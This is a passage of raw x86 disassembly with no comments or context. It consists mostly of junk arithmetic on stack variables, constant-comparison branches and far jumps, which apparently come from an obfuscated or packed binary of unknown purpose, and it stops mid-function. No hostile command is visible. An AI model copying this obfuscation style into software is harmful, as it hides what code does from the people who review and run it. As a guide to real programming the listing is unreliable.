sub edx, 0x7103f4f6
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
add ecx, 0x338d6d3e
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xea6c]
sub eax, 0x4c
mov dword [ebp - 0xea6c], eax
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
xor ecx, 0x8d1e57ff
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e60]
shl edx, cl
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movzx ecx, word [section..data]
sar ecx, 0xd
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
or eax, 0xdd331d88
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0xae84]
sub ecx, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], ecx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
sub eax, 0x5c13fe39
mov dword [ebp - 0x2e60], eax
movzx ecx, word [section..data]
and ecx, 0xc99
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0x2e60]
sub edx, 0x310b3755
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
sub ecx, 0x53b1b35d
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
cmp dword [ebp - 0xea6c], 0xb06b
jae 0x404072
movsx eax, byte [0x4f9af2]
sub eax, 0x6c
mov byte [0x4f9af2], al
mov ecx, dword [ebp - 0x2e60]
sub ecx, 0x302f792b
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x9edc]
add eax, 0x21
mov dword [ebp - 0x9edc], eax
mov ecx, dword [ebp - 0x2e60]
sub ecx, 0x70f2fd2f
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6b24]
sub eax, dword [ebp - 0x740c]
mov dword [ebp - 0xae84], eax
mov ecx, dword [ebp - 0x6b24]
xor ecx, dword [ebp - 0x740c]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0xae84]
mov ecx, dword [ebp - 0x6b24]
shl edx, cl
mov dword [ebp - 0x740c], edx
mov eax, dword [ebp - 0xae84]
or eax, dword [ebp - 0x740c]
mov dword [ebp - 0x6b24], eax
movsx ecx, word [ebp - 0xfbf8]
sar ecx, 0xe
mov word [ebp - 0x77a0], cx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
and eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
movzx edx, word [section..data]
sub edx, 0xa23
mov word [ebp - 0xf2c8], dx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
and ecx, 0x624a6d8a
mov dword [ebp - 0x2e60], ecx
cmp dword [ebp - 0x9edc], 0xcf14
jb 0x4041a8
cmp dword [ebp - 0x57a0], 0xf4f8
jbe 0x4044dc
mov edx, dword [ebp - 0x2e60]
add edx, 0x1a28609d
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movzx ecx, word [section..data]
add ecx, 0x304
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xae84]
sub edx, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], edx
mov eax, dword [ebp - 0x2e60]
add eax, 0x77dbb2c
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
movsx edx, byte [0x4f9af2]
xor edx, 0x4d
mov byte [0x4f9af2], dl
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e60]
shr eax, 7
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
shl eax, 0x14
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e60]
and ecx, 0x94cb85e1
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x57a0]
sub eax, 0x64
mov dword [ebp - 0x57a0], eax
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movsx ecx, word [ebp - 0xfbf8]
add ecx, 0x71f4
mov word [ebp - 0x77a0], cx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xf2c8]
and edx, 0x3a5
mov word [section..data], dx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
sub ecx, 0x487bd955
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e60]
sub edx, 0x7aae66d6
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e60]
add ecx, 0x21f697a9
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0xae84]
sar eax, cl
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e60]
shl edx, cl
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae84]
xor ecx, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], ecx
mov edx, dword [ebp - 0x2e60]
and edx, 0xede23cd6
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b24]
sub ecx, dword [ebp - 0x740c]
mov dword [ebp - 0xae84], ecx
jmp 0x4042c3
mov edx, dword [ebp - 0x6b24]
sub edx, dword [ebp - 0xae84]
mov dword [ebp - 0x740c], edx
mov dword [ebp - 0x47b0], 0xe6a9
lea eax, [ebp - 0xf2c8]
mov dword [ebp - 0x110b8], eax
cmp dword [ebp - 0x19ac], 0x2aea
jae 0x404899
mov ecx, dword [ebp - 0x6b24]
add ecx, dword [ebp - 0xae84]
mov dword [ebp - 0x740c], ecx
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movsx edx, word [ebp - 0x77a0]
sub edx, 0x4ecc
mov word [ebp - 0xfbf8], dx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
add ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movsx ecx, byte [0x4f9af2]
add ecx, 0x5c
mov byte [0x4f9af2], cl
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
sub eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
or ecx, 0xc0d224b8
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [section..data]
shl eax, cl
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], ax
movzx edx, word [ebp - 0xf2c8]
movzx ecx, word [section..data]
sar edx, cl
mov eax, dword [ebp - 0x110b8]
mov word [eax], dx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
xor edx, 0xe97e0b1e
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [section..data]
and ecx, edx
mov word [ebp - 0xf2c8], cx
movzx eax, word [section..data]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
add ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movzx ecx, word [ebp - 0xf2c8]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
sub ecx, eax
mov word [section..data], cx
mov ecx, dword [ebp - 0x2e60]
add ecx, 0x2af6b97f
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movzx ecx, word [ebp - 0xf2c8]
movzx edx, word [section..data]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x19ac]
add ecx, 0xf7
mov dword [ebp - 0x19ac], ecx
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
and edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
or eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
movzx eax, word [section..data]
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xf2c8], ax
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
shl ecx, 0x15
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
sar eax, cl
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], ax
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movzx edx, word [section..data]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xf2c8], dx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
mov edx, dword [ebp - 0xae84]
sub edx, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], edx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movzx ecx, word [section..data]
movzx edx, word [ebp - 0xf2c8]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movsx ecx, byte [0x4f9af2]
sub ecx, 0x47
mov byte [0x4f9af2], cl
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
and eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf2c8]
xor ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xf2c8]
shl edx, cl
mov eax, dword [ebp - 0x110b8]
mov word [eax], dx
movzx ecx, word [ebp - 0xf2c8]
movzx edx, word [section..data]
or ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
jmp 0x404504
movsx ecx, byte [0x4f9af2]
cmp ecx, 0x11
jl 0x4ee96b
mov edx, dword [ebp - 0x6b24]
mov dword [ebp - 0x114a8], edx
cmp dword [ebp - 0x114a8], 0xfffffffe
je 0x4048d3
cmp dword [ebp - 0x114a8], 0x54a4aed8
je 0x4ee8a6
jmp 0x4ee916
cmp dword [ebp - 0xe3c8], 0xae9f
jae 0x404a80
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, 0x38ff1b9c
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
movzx eax, word [ebp - 0xf2c8]
movzx ecx, word [section..data]
sub eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6b24]
or eax, dword [ebp - 0xae84]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx ecx, word [section..data]
sar edx, cl
mov word [ebp - 0xf2c8], dx
movsx eax, byte [0x4f9af2]
xor eax, 0x72
mov byte [0x4f9af2], al
movsx ecx, word [ebp - 0x77a0]
shl ecx, 3
mov word [ebp - 0xfbf8], cx
mov edx, dword [ebp - 0x2e60]
and edx, 0x890b1c89
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xf2c8]
sub edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
mov edx, dword [ebp - 0xe3c8]
add edx, 0x9d
mov dword [ebp - 0xe3c8], edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [section..data]
and ecx, edx
mov word [ebp - 0xf2c8], cx
mov eax, dword [ebp - 0xae84]
sub eax, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], eax
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae84]
sub ecx, dword [ebp - 0x6b24]
mov dword [ebp - 0x740c], ecx
movsx edx, byte [0x4f9af2]
add edx, 0x22
mov byte [0x4f9af2], dl
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [section..data]
add ecx, edx
mov word [ebp - 0xf2c8], cx
movzx eax, word [section..data]
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xf2c8], ax
jmp 0x4048d3
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0xe5c8], eax
mov ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x114ac], ecx
cmp dword [ebp - 0x114ac], 0
je 0x404aa6
jmp 0x404b57
mov edx, dword [ebp - 0x740c]
mov dword [ebp - 0x54c], edx
lea eax, [ebp - 0x6b24]
mov dword [ebp - 0x1f94], eax
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xf2c8]
sar edx, cl
movzx eax, word [section..data]
cmp edx, eax
je 0x404b09
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6b24]
shl edx, cl
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b24]
and ecx, dword [ebp - 0x54c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
jmp 0x404b52
movsx eax, word [ebp - 0x77a0]
or eax, 0xff6
movsx ecx, word [ebp - 0xfbf8]
cmp eax, ecx
je 0x404b52
lea edx, [ebp - 0x77a0]
mov dword [ebp - 0x8148], edx
mov ax, word [ebp - 0xf2c8]
mov word [ebp - 0x10914], ax
mov dword [ebp - 0xff2c], 0x2a07
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
mov dword [ebp - 0x1a8c], edx
jmp 0x404bee
mov eax, dword [ebp - 0x2e60]
mov dword [ebp - 0x114b0], eax
cmp dword [ebp - 0x114b0], 0x70a92b2f
je 0x404b7d
cmp dword [ebp - 0x114b0], 0xc8c99e50
je 0x404bda
jmp 0x404bee
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ebp - 0x1a8c]
sub edx, dword [ecx]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10914]
add ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movzx ecx, word [section..data]
movzx edx, word [ebp - 0x10914]
add ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0xe5c8]
mov ecx, dword [ecx]
call section..text
jmp 0x404bee
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6b24]
mov dword [ebp - 0x54c], eax
movzx ecx, word [ebp - 0xf2c8]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
and ecx, eax
movzx edx, word [ebp - 0x10914]
movzx eax, word [section..data]
add edx, eax
cmp ecx, edx
jl 0x404d8b
mov dword [0x4faeac], 0x4f9af2
movsx ecx, word [ebp - 0xfbf8]
mov dword [ebp - 0x114b4], ecx
cmp dword [ebp - 0x114b4], 0x6398
je 0x404c40
jmp 0x404d47
movsx edx, word [ebp - 0xfbf8]
mov dword [ebp - 0x114b8], edx
cmp dword [ebp - 0x114b8], 0x6398
je 0x404c5e
jmp 0x404d22
lea eax, [ebp - 0x1a8c]
mov dword [ebp - 0x618c], eax
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ebp - 0x1a8c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x618c]
mov ecx, dword [ebp - 0x688c]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
jne 0x404d20
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
sub edx, 0x43
movsx eax, byte [0x4f9af2]
cmp edx, eax
jle 0x404d20
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x54c]
sar edx, cl
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [0x4faeac]
mov dl, byte [ecx]
mov byte [ebp - 0x114bc], dl
cmp byte [ebp - 0x114bc], 0xd
je 0x404d07
cmp byte [ebp - 0x114bc], 0x10
je 0x404ce1
jmp 0x404d20
mov eax, dword [ebp - 0x1f94]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov dword [ebp - 0x54c], edx
mov eax, dword [0x4faeac]
movzx ecx, byte [eax]
push ecx
call fcn.004eebb0
jmp 0x404d20
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [ebp - 0x10914]
xor edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
jmp 0x404d3b
movzx edx, word [ebp - 0xf2c8]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x10914], dx
mov dword [ebp - 0xa874], 0x2394
jmp 0x404d8b
mov edx, dword [ebp - 0x1a8c]
and edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x740c]
push edx
mov eax, dword [ebp - 0x8148]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0xf2c8]
push edx
call fcn.004010a0
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10914]
add ecx, edx
movzx eax, word [ebp - 0xf2c8]
movzx edx, word [section..data]
add eax, edx
cmp ecx, eax
jg 0x404e40
mov eax, dword [ebp - 0x740c]
add eax, dword [ebp - 0x6b24]
mov dword [ebp - 0x54c], eax
movsx ecx, byte [0x4f9af2]
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd0a1], cl
movsx ecx, word [ebp - 0x77a0]
mov dword [ebp - 0x114c0], ecx
cmp dword [ebp - 0x114c0], 0x1c44
je 0x404dfa
jmp 0x404e3e
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10914]
sub eax, ecx
mov word [section..data], ax
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [ebp - 0x10914]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [eax]
call section..text
jmp 0x404e59
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10914]
sub edx, eax
mov word [ebp - 0xf2c8], dx
movzx ecx, word [ebp - 0xf2c8]
mov dword [ebp - 0x114c4], ecx
cmp dword [ebp - 0x114c4], 0
je 0x404f3a
cmp dword [ebp - 0x114c4], 0xbce
je 0x404e84
jmp 0x404fee
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0x6b24]
xor eax, dword [edx]
mov edx, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
cmp eax, edx
jl 0x404f21
mov eax, dword [ebp - 0x618c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1a8c]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], ecx
movsx eax, word [ebp - 0x77a0]
mov dword [ebp - 0x114c8], eax
cmp dword [ebp - 0x114c8], 0x6704
je 0x404ed5
jmp 0x404f0b
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x8148]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
push ecx
call fcn.004010a0
jmp 0x404f1f
mov edx, dword [ebp - 0x740c]
and edx, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
jmp 0x404f35
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ebp - 0xae84]
sub edx, dword [ecx]
mov dword [ebp - 0x54c], edx
jmp 0x404fee
movsx eax, word [ebp - 0x77a0]
mov dword [ebp - 0x114cc], eax
cmp dword [ebp - 0x114cc], 0xffffec73
je 0x404f55
jmp 0x404fcc
mov ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x3d3c], ecx
mov dword [ebp - 0x25ec], 0x1e5a
movsx edx, word [ebp - 0xfbf8]
mov dword [ebp - 0x114d0], edx
cmp dword [ebp - 0x114d0], 0x5569
je 0x404f86
jmp 0x404fca
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [ebp - 0x10914]
add edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movsx edx, byte [ebp - 0xd0a1]
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x4f9af2], dl
jmp 0x404fe2
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
add eax, dword [ebp - 0x6b24]
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x6178], edx
mov eax, dword [0x4faeac]
mov cl, byte [eax]
mov byte [ebp - 0x114d4], cl
cmp byte [ebp - 0x114d4], 0x8d
je 0x405016
cmp byte [ebp - 0x114d4], 0x32
je 0x4ee6f1
jmp 0x4ee819
mov edx, dword [ebp - 0x1f94]
mov eax, dword [ebp - 0xae84]
add eax, dword [edx]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x54c]
mov dword [ebp - 0x114d8], ecx
cmp dword [ebp - 0x114d8], 0x2e88295
je 0x405050
cmp dword [ebp - 0x114d8], 0x1338c305
je 0x405095
jmp 0x4050ae
mov edx, dword [ebp - 0x54c]
sub edx, dword [ebp - 0x740c]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ebp - 0x2e60]
add edx, dword [ecx]
mov dword [ebp - 0x6178], edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10914]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
jmp 0x4050ae
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10914]
sub edx, eax
mov word [section..data], dx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10914]
and edx, eax
movzx eax, word [section..data]
movzx ecx, word [ebp - 0xf2c8]
shl eax, cl
cmp edx, eax
jne 0x4ee5fb
movsx ecx, byte [ebp - 0xd0a1]
movsx edx, byte [0x4f9af2]
sub ecx, edx
mov eax, dword [0x4faeac]
movsx edx, byte [eax]
cmp ecx, edx
jne 0x405194
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x6b24]
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6178]
mov dword [ebp - 0x114dc], edx
cmp dword [ebp - 0x114dc], 0xa474ca4d
je 0x405132
cmp dword [ebp - 0x114dc], 0xe8aa1c8c
je 0x405179
jmp 0x405194
mov eax, dword [ebp - 0x8148]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x77a0]
add ecx, edx
mov word [ebp - 0xfbf8], cx
movzx eax, word [section..data]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
mov eax, dword [ebp - 0x688c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e60]
call section..text
jmp 0x405194
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x77a0]
xor edx, eax
mov ecx, dword [ebp - 0x8148]
mov word [ecx], dx
mov edx, dword [ebp - 0x6178]
mov ecx, dword [ebp - 0x1a8c]
shr edx, cl
mov eax, dword [ebp - 0x3d3c]
mov ecx, dword [ebp - 0x2e60]
shl eax, cl
cmp edx, eax
je 0x4051e3
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xf2c8]
or edx, eax
mov word [section..data], dx
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1a8c]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
cmp dword [ebp - 0xa368], 0xdd0f
jb 0x405495
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
add edx, dword [ebp - 0x740c]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10914]
movzx edx, word [section..data]
add ecx, edx
mov word [ebp - 0xf2c8], cx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x54c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [ebp - 0x6178]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x740c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x54c]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [ebp - 0x688c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0xa368]
sub edx, 0x1d
mov dword [ebp - 0xa368], edx
movzx eax, word [ebp - 0x10914]
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
sub eax, edx
mov word [section..data], ax
movsx eax, word [ebp - 0x77a0]
